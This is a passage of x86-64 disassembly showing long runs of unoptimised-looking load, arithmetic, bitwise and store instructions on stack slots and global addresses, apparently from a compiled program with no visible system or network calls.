mov rcx, qword [rsp + 0x8570]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140114988]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1b2]
add eax, ecx
mov rcx, qword [rsp + 0x6b40]
mov byte [rcx], al
mov rax, qword [0x1401143a0]
movzx eax, word [rax]
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0x6070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov byte [rsp + 0x8f], al
lea rax, [rsp + 0x91c]
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0x7020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x85b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c00]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e3c], eax
lea rax, [rsp + 0x2b70]
mov qword [rsp + 0x8be0], rax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x7210]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6788], rax
lea rax, [rsp + 0xba]
mov qword [0x1401149d0], rax
mov rax, qword [rsp + 0x8190]
movzx eax, byte [rax]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0x5470]
movzx eax, byte [rax]
mov rcx, qword [0x1401144a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov word [rsp + 0x88c], ax
lea rax, [rsp + 0xe1c]
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8740]
mov rcx, qword [rsp + 0x6238]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5c58], rax
lea rax, [rsp + 0x83f8]
mov qword [rsp + 0x8bf0], rax
mov rax, qword [rsp + 0x6a18]
mov ecx, dword [rsp + 0x3210]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
lea rax, [rsp + 0x2dd0]
mov qword [rsp + 0x8bf8], rax
movsx eax, byte [0x14011303f]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14011302e], al
movsx eax, byte [rsp + 0x147]
mov rcx, qword [rsp + 0x66d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0x5c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x908]
sar eax, cl
mov word [rsp + 0x9d8], ax
mov rax, qword [rsp + 0x7c18]
movzx eax, word [rax]
mov word [rsp + 0x1034], ax
mov rax, qword [rsp + 0x82a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x5b10]
mov qword [rsp + 0x8c00], rax
mov eax, dword [rsp + 0x2b64]
mov ecx, dword [rsp + 0x3238]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5de8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7118]
mov rcx, qword [rsp + 0x7e40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8628], rax
lea rax, [rsp + 0x3178]
mov qword [rsp + 0x8c08], rax
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0xd5]
add eax, ecx
mov byte [rsp + 0x4d], al
movzx eax, word [rsp + 0xf68]
movzx ecx, word [rsp + 0x9d8]
sub eax, ecx
mov word [0x14011317c], ax
lea rax, [0x1401130c2]
mov qword [rsp + 0x8c10], rax
mov rax, qword [rsp + 0x5f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x65d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
movsx eax, byte [rsp + 0x1cd]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x114], al
lea rax, [rsp + 0x6a20]
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x8930]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5b98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2dd8]
mov dword [rsp + 0x3260], eax
mov rax, qword [rsp + 0x7298]
mov rcx, qword [rsp + 0x5f58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x6ab0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0x86a0]
movsx eax, word [rax]
movsx ecx, word [0x140114794]
xor eax, ecx
mov rcx, qword [0x1401145a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x76c0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ff], al
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x8940]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x17b], al
movzx eax, word [rsp + 0xa80]
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0x5db0]
movzx ecx, al
mov rax, qword [0x140113008]
shl rax, cl
mov qword [rsp + 0x5ad0], rax
mov eax, dword [rsp + 0x315c]
mov dword [rsp + 0x3264], eax
mov rax, qword [rsp + 0x74d8]
movzx ecx, al
mov rax, qword [rsp + 0x8428]
sar rax, cl
mov rcx, qword [rsp + 0x8bf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7dc0]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f78], eax
mov rax, qword [rsp + 0x7be0]
movzx eax, byte [rax]
mov byte [rsp + 0x200], al
lea rax, [rsp + 0xc10]
mov qword [0x1401149d8], rax
movsx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x8720]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8138]
mov byte [rcx], al
lea rax, [rsp + 0xa3c]
mov qword [rsp + 0x8c20], rax
movzx eax, word [rsp + 0x9c8]
movzx ecx, word [rsp + 0xad8]
add eax, ecx
mov word [rsp + 0xa74], ax
mov rax, qword [rsp + 0x6e20]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b90]
mov rax, qword [rax]
mov qword [rsp + 0x8c28], rax
mov rax, qword [rsp + 0x83c8]
mov rcx, qword [rsp + 0x6420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6630], rax
mov eax, dword [rsp + 0x2fb4]
mov dword [rsp + 0x3268], eax
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x5a58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19d], al
movzx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x64f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130ca], al
mov rax, qword [0x140114540]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8420]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a30]
movzx eax, word [rax]
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0x8018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov word [rsp + 0xddc], ax
mov rax, qword [0x140114270]
movzx eax, word [rax]
mov word [rsp + 0x1040], ax
mov eax, dword [rsp + 0x3178]
mov ecx, dword [rsp + 0x3200]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6890]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x30a8]
shr eax, cl
mov dword [rsp + 0x2d94], eax
mov rax, qword [rsp + 0x6f38]
mov rax, qword [rax]
mov qword [rsp + 0x8c30], rax
mov rax, qword [rsp + 0x5bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7960]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5890]
movsx eax, byte [rax]
movsx ecx, byte [0x140114216]
shl eax, cl
mov rcx, qword [0x140114600]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e88]
movzx eax, byte [rax]
mov byte [rsp + 0x201], al
mov rax, qword [rsp + 0x5c00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6d30]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd60], ax
movzx eax, word [rsp + 0xaf4]
mov word [rsp + 0x1044], ax
mov rax, qword [0x1401144d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6270]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x4ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8aa0]
mov dword [rcx], eax
lea rax, [rsp + 0x30a8]
mov qword [rsp + 0x8c38], rax
mov rax, qword [rsp + 0x5998]
mov rcx, qword [rsp + 0x7098]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5a70], rax
mov rax, qword [rsp + 0x6350]
mov rax, qword [rax]
mov qword [rsp + 0x8c40], rax
mov rax, qword [rsp + 0x51f8]
movsx eax, byte [rax]
movsx ecx, byte [0x14011302a]
add eax, ecx
mov byte [0x140114212], al
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1a4]
add eax, ecx
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0x8520]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a8]
sub eax, ecx
mov word [rsp + 0xd98], ax
lea rax, [0x140114420]
mov qword [rsp + 0x8c48], rax
mov rax, qword [rsp + 0x65c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7590]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b08]
mov word [rcx], ax
lea rax, [rsp + 0x5fe0]
mov qword [rsp + 0x8c50], rax
mov rax, qword [rsp + 0x5ab8]
mov ecx, dword [rsp + 0x30a4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x73d0]
mov rcx, qword [rsp + 0x8160]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8100], rax
mov eax, dword [rsp + 0x2f1c]
mov dword [rsp + 0x326c], eax
lea rax, [rsp + 0xc3]
mov qword [0x1401149e0], rax
movzx eax, word [0x140114220]
mov rcx, qword [rsp + 0x74b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x6d00]
movzx eax, byte [rax]
mov byte [rsp + 0x202], al
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xd44]
add eax, ecx
mov rcx, qword [rsp + 0x6108]
mov word [rcx], ax
lea rax, [rsp + 0x105]
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0x6aa8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x84c8]
mov qword [rsp + 0x8c60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2c8c], eax
mov rax, qword [rsp + 0x6460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7830]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8008], rax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov qword [rsp + 0x8c68], rax
mov eax, dword [rsp + 0x2cb8]
mov rcx, qword [rsp + 0x6180]
mov qword [rsp + 0x8c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c70]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3110], eax
mov rax, qword [rsp + 0x51b8]
movzx eax, word [rax]
mov word [0x1401149e8], ax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x203], al
movsx eax, byte [rsp + 0x126]
movsx ecx, byte [rsp + 0x1e5]
or eax, ecx
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0x5e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
and eax, ecx
mov word [rsp + 0x934], ax
movzx eax, word [0x140113074]
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0x72b8]
mov rcx, qword [rsp + 0x5030]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8608]
mov qword [rcx], rax
lea rax, [rsp + 0x2c84]
mov qword [rsp + 0x8c78], rax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x7ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x83a8], rax
mov eax, dword [rsp + 0x2e98]
mov ecx, dword [rsp + 0x31b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x30b4], eax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x140114216]
sub eax, ecx
mov rcx, qword [0x1401146d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x964]
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0x5be0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11f]
add eax, ecx
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0xca8]
mov word [rsp + 0x1050], ax
mov rax, qword [0x1401147b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd98]
sub eax, ecx
mov word [rsp + 0x868], ax
mov eax, dword [rsp + 0x2e18]
mov ecx, dword [rsp + 0x2e68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3074], eax
lea rax, [rsp + 0x3058]
mov qword [rsp + 0x8c80], rax
mov rax, qword [rsp + 0x85e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b50], rax
lea rax, [rsp + 0x6560]
mov qword [rsp + 0x8c88], rax
movzx eax, byte [rsp + 0x48]
mov rcx, qword [rsp + 0x7d40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401130cb], al
mov rax, qword [rsp + 0x6850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x77c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf88], ax
lea rax, [rsp + 0x128]
mov qword [rsp + 0x8c90], rax
mov rax, qword [rsp + 0x51f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x189]
sar eax, cl
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0x8a30]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7a30]
mov word [rcx], ax
lea rax, [rsp + 0x64c8]
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8918]
mov rcx, qword [rsp + 0x76a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8148], rax
mov eax, dword [rsp + 0x2e40]
mov dword [rsp + 0x3270], eax
mov rax, qword [rsp + 0x65b0]
mov ecx, dword [rsp + 0x2df8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d04], eax
mov rax, qword [rsp + 0x62a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113067], al
movsx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x7cf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x57a0]
movzx eax, byte [rax]
mov byte [rsp + 0x204], al
mov rax, qword [rsp + 0x6b60]
movzx eax, byte [rax]
mov rcx, qword [0x140114408]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x174], al
lea rax, [rsp + 0x9ec]
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x5ab8]
mov rcx, qword [rsp + 0x64c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x67f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x78d0], rax
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
mov dword [rsp + 0x3274], eax
mov rax, qword [rsp + 0x8808]
mov rcx, qword [rsp + 0x6470]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7df8], rax
mov rax, qword [0x1401146e0]
movzx eax, word [rax]
mov word [rsp + 0x1054], ax
movsx eax, byte [rsp + 0x17d]
movsx ecx, byte [rsp + 0x3b]
sub eax, ecx
mov byte [0x140114227], al
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0x103]
sub eax, ecx
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0xe00]
mov word [rsp + 0x1058], ax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0xd5]
sar eax, cl
mov rcx, qword [rsp + 0x83b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x73e8]
mov rcx, qword [rsp + 0x6c88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b50], rax
lea rax, [rsp + 0x2bcc]
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0x8008]
movzx ecx, al
mov rax, qword [rsp + 0x7e50]
shl rax, cl
mov rcx, qword [rsp + 0x72d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7dc0]
mov eax, dword [rax]
mov dword [rsp + 0x3278], eax
movzx eax, byte [0x1401142b4]
mov rcx, qword [rsp + 0x6438]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb0], al
movsx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0x6108]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140113180], ax
mov rax, qword [rsp + 0x6e00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e20]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d28]
mov word [rcx], ax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x8cb0], rax
movzx eax, word [rsp + 0xe48]
movzx ecx, word [rsp + 0x970]
sub eax, ecx
mov rcx, qword [rsp + 0x6530]
mov word [rcx], ax
mov rax, qword [rsp + 0x79e0]
mov rax, qword [rax]
mov qword [rsp + 0x8cb8], rax
mov rax, qword [rsp + 0x87a0]
mov ecx, dword [rsp + 0x2e20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fb8], eax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6fd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d08], rax
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x8cc0], rax
mov rax, qword [rsp + 0x7408]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71e8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ee8]
mov byte [rcx], al
lea rax, [rsp + 0xc78]
mov qword [0x1401149f0], rax
movzx eax, word [rsp + 0xce4]
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0x54d8]
movsx eax, byte [rax]
mov rcx, qword [0x140114310]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x101], al
movzx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0x7488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov dword [rsp + 0x327c], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x6f80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8788]
mov qword [rcx], rax
lea rax, [rsp + 0x2d28]
mov qword [rsp + 0x8cc8], rax
mov rax, qword [rsp + 0x7a08]
mov rcx, qword [rsp + 0x81a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7498], rax
lea rax, [0x1401141bc]
mov qword [rsp + 0x8cd0], rax
mov rax, qword [rsp + 0x8368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140114668]
mov byte [rcx], al
mov rax, qword [rsp + 0x6048]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8180]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe08], ax
mov rax, qword [0x1401142a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
or eax, ecx
mov rcx, qword [rsp + 0x84c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10e]
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0x7368]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
shl eax, cl
mov word [rsp + 0x904], ax
mov rax, qword [rsp + 0x8310]
mov rax, qword [rax]
mov qword [rsp + 0x8cd8], rax
mov eax, dword [rsp + 0x2b68]
mov ecx, dword [rsp + 0x31f0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x59a0], rax
mov eax, dword [rsp + 0x2fa4]
mov dword [rsp + 0x3280], eax
lea rax, [rsp + 0x98]
mov qword [0x1401149f8], rax
mov rax, qword [rsp + 0x6dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x64e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x180], al
movzx eax, word [rsp + 0xf5c]
mov word [rsp + 0x1060], ax
movsx eax, byte [rsp + 0x146]
mov rcx, qword [rsp + 0x5038]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
movzx eax, word [rsp + 0xdfc]
mov rcx, qword [rsp + 0x73b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5058]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f98]
mov rax, qword [rax]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6040]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6380]
mov qword [rcx], rax
lea rax, [rsp + 0x2e4c]
mov qword [rsp + 0x8ce8], rax
mov rax, qword [rsp + 0x5478]
mov rcx, qword [rsp + 0x6a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3154], eax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0xd9]
and eax, ecx
mov byte [0x140113097], al
mov rax, qword [rsp + 0x60e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x994]
sub eax, ecx
mov rcx, qword [rsp + 0x7df0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c80]
movzx eax, word [rax]
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0x77f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
or eax, ecx
mov rcx, qword [rsp + 0x5470]
mov byte [rcx], al
mov rax, qword [rsp + 0x6108]
movzx eax, word [rax]
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x6020]
mov ecx, dword [rsp + 0x3148]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e10], eax
mov rax, qword [rsp + 0x51e8]
mov eax, dword [rax]
mov dword [rsp + 0x3284], eax
mov rax, qword [rsp + 0x6c58]
mov rcx, qword [rsp + 0x7bb8]
mov qword [rsp + 0x8cf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8cf0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a08]
mov rax, qword [rax]
cqo
movabs rcx, 0x7c8af1e692c1e3
idiv rcx
mov qword [rsp + 0x7910], rax
movsx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x7e90]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401143b0]
mov byte [rcx], al
lea rax, [rsp + 0xfb4]
mov qword [rsp + 0x8cf8], rax
movsx eax, byte [rsp + 0x57]
movsx ecx, byte [rsp + 0xd5]
add eax, ecx
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x75d0]
movzx eax, byte [rax]
mov byte [rsp + 0x206], al
movsx eax, word [rsp + 0xf24]
movsx ecx, word [0x1401130d8]
and eax, ecx
mov rcx, qword [rsp + 0x7240]
mov word [rcx], ax
mov rax, qword [rsp + 0x89f8]
mov rcx, qword [rsp + 0x8120]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3028], eax
lea rax, [rsp + 0x2c50]
mov qword [rsp + 0x8d00], rax
mov rax, qword [rsp + 0x7fc8]
mov rcx, qword [rsp + 0x80e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a20], rax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0x8d08], rax
movzx eax, byte [rsp + 0x1f7]
mov byte [0x1401142e2], al
movzx eax, word [rsp + 0xd50]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0x6508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov rcx, qword [rsp + 0x88a0]
mov word [rcx], ax
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x8d10], rax
movsx eax, byte [rsp + 0x37]
mov rcx, qword [rsp + 0x52d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8a88]
mov byte [rcx], al
mov eax, dword [rsp + 0x327c]
mov dword [rsp + 0x3288], eax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6bc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b60], rax
lea rax, [rsp + 0x57a8]
mov qword [rsp + 0x8d18], rax
mov rax, qword [rsp + 0x81a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3120], eax
lea rax, [rsp + 0xde4]
mov qword [0x140114a00], rax
movzx eax, byte [rsp + 0x1a6]
movzx ecx, byte [rsp + 0x1c7]
and eax, ecx
mov byte [rsp + 0x131], al
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x207], al
movzx eax, word [rsp + 0xd74]
movzx ecx, word [rsp + 0xfa4]
xor eax, ecx
mov word [rsp + 0x958], ax
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
mov word [rsp + 0x106c], ax
mov eax, dword [rsp + 0x319c]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shr eax, cl
mov dword [rsp + 0x2b64], eax
mov rax, qword [rsp + 0x6c50]
mov rcx, qword [rsp + 0x87a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6068]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7128]
mov rax, qword [rax]
mov qword [rsp + 0x8d20], rax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x8748]
mov qword [rsp + 0x8d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d28]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6658]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401142d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7408]
movzx eax, byte [rax]
mov byte [rsp + 0x208], al
movzx eax, word [rsp + 0xa34]
mov rcx, qword [0x140114788]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0x89f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x76f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x136], al
lea rax, [rsp + 0xac8]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x8808]
mov rcx, qword [rsp + 0x6b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x54f8]
mov rax, qword [rax]
mov qword [rsp + 0x8d38], rax
mov rax, qword [rsp + 0x8140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8120]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x8a88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8660]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114810]
